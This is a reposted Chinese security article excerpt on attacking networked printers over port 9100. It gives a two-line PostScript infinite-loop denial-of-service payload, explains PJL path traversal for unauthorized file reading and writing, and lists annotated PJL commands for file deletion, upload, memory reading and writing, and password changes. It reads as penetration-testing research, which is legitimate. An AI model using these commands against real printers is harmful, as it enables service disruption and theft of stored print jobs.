加入收藏 | 设为首页 | 会员中心 | 我要投稿 核心网 (https://www.hxwgxz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 建站 > 正文

不可忽视的打印机漏洞研究

发布时间:2019-06-20 01:15:46 所属栏目:建站 来源:VoltCary
导读:一、前言 经过最近一段时间测试,发现企业内网打印机存在多种漏洞,同时也经常被大家所忽略,因此才有本文的研究。当一台打印机连接网络,可以进行端口扫描、读写上传恶意文件、反弹shell,相当于一台服务器。 常见攻击,信息泄露,如访问内存,可能发现密

当向打印机9100端口发送任何数据,打印机都可将其打印出来,文章前部分发现,9100端口还支持原始打印、PCL、PostScript和PJL,即可以通过9100端口执行PJL。当执行DOS,则可无限循环打印任务,导致打印任务不断执行,资源耗尽,无法执行打印操作。按个人理解简单点说,就是当发起打印任务时,打印机等任务发起结束,才会执行下一步的打印操作,如果一直循环打印任务,则无法到达下一步。通过几行PostScript代码实现DOS。

PS代码实现的循环:

  1. %!  
  2. {} loop 

3. 路径遍历漏洞-案例分析

这不是针对某个型号的漏洞,算是打印机的一个通用漏洞,可以通过../等进行目录穿越,对文件进行读取和写入,不过并不是所有的目录文件都可读写,当发现无法读写时,可继续切换其它目录测试,可能存在可读写的文件,从而泄露敏感文件,如“Jobs”目录中存储的就是打印任务,可以通过PFT 、PRET工具包读取存储在其中的任何打印任务。

如果允许 PJL 命令访问该设备的文件系统,远程攻击者可以借助 PJL 读取任意文件,远程连接打印机并进行遍历目录操作。这里借用个人之前的案例演示,通过9100端口执行PJL命令,并且未授权访问打印机。在学习之前,需要熟悉PJL命令。如下是本人对PJL命令的整理:

  1. @PJL FSDELETE NAME = “pathname” [<CR>]<LF>                           # 删除文件   
  2.  
  3. @PJL FSDOWNLOAD FORMAT:BINARY [SIZE=int] [<CR>]<LF>                  # 下载文件到打印机 
  4.  
  5. @PJL FSINIT VOLUME = “pathname” [<CR>]<LF>                           # 初始化打印机文件系统 
  6.  
  7. @PJL FSMKDIR NAME = “pathname” [<CR>]<LF>                            # 创建目录 
  8.  
  9. @PJL DINQUIRE CPLOCK                                                 # 检查控制面板状态 
  10.  
  11. @PJL DINQUIRE PASSWORD                                               # 检查密码保护状态 
  12.  
  13. @PJL JOB PASSWORD = [Number:0 to 65535]                              # 当前密码保护密码 
  14.  
  15. @PJL DEFAULT PASSWORD [Number:0 to 65535]                            # 修改保护密码 
  16.  
  17. @PJL DEFAULT CPLOCK = [ON, OFF]                                      # 控制面板状态 
  18.  
  19. @PJL SET IOBUFFER = [ON, OFF, AUTO]                                  # 设置缓冲区 
  20.  
  21. @PJL SET IOSIZE = [10-100]                                           # 设置缓存区大小 
  22.  
  23. @PJL SET PCNAME = [String]                                           # 设置计算机名称 
  24.  
  25. @PJL SET HOLD = [ON, JOB, STORE, PROOF]                              # 设置文件保存 
  26.  
  27. @PJL SET HOLDKEY = [Number:0000 to 9999]                             # 设置保存文件密码 
  28.  
  29. @PJL DEFAULT DISKLOCK = [ON, OFF]                                    # 设置硬盘锁定状态 
  30.  
  31. @PJL SET SPOOLTIME                                                   # 设置打印日期 
  32.  
  33. @PJL SET COPIES                                                      # 设置打印数 
  34.  
  35. @PJL SET JOBNAME                                                     # 设置打印机文件名称 
  36.  
  37. @PJL SET RESOLUTION                                                  # 设置分辨率 
  38.  
  39. @PJL SET DRIVERNAME                                                  # 设置驱动 
  40.  
  41. @PJL USTATUS JOB                                                     # 输出 队列中还未打印任务的 状态 
  42.  
  43. @PJL COMMENT                                                         # 添加注释 
  44.  
  45. @PJL SET OUTTRAY                                                     #出纸盘(纸张输出位置) 
  46.  
  47. @PJL SET ORIENTATION = [PORTRAIT, LANDSCAPE]                         #页面方向 
  48.  
  49. @PJL SET DUPLEX = [ON, OFF]                                          #双工模式(双面打印) 
  50.  
  51. @PJL SET BINDING = [LONGEDGE, SHORTEDGE]                             #双工模式:短边、长边 
  52.  
  53. @PJL RNVRAM ADDRESS                                                  #读取内存 
  54.  
  55. @PJL OPMSG DISPLAY                                                   #设置打印机离线脱机 
  56.  
  57. @PJL SET SERVICEMODE                                                 #设置服务模式 
  58.  
  59. @PJL WNVRAM ADDRESS                                                  #写入内存 
  60.  
  61. @PJL FSDIRLIST NAME                                                  #读取目录 
  62.  
  63. @PJL FSQUERY NAME                                                    #读取文件 
  64.  
  65. @PJL FSUPLOAD NAME                                                   #文件上传 
  66.  
  67. @PJL FSDOWNLOAD                                                      #写入文件 

(1) @PJL FSDIRLIST NAME=”0:/” ENTRY=1 COUNT=1024

image.png

上图发现目录名称是 0:/,有两个目录,一个是本地目录./,一个是../目录。

(2) 读取 ../ 目录,发现其下有7个,./代表本目录

(编辑:核心网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读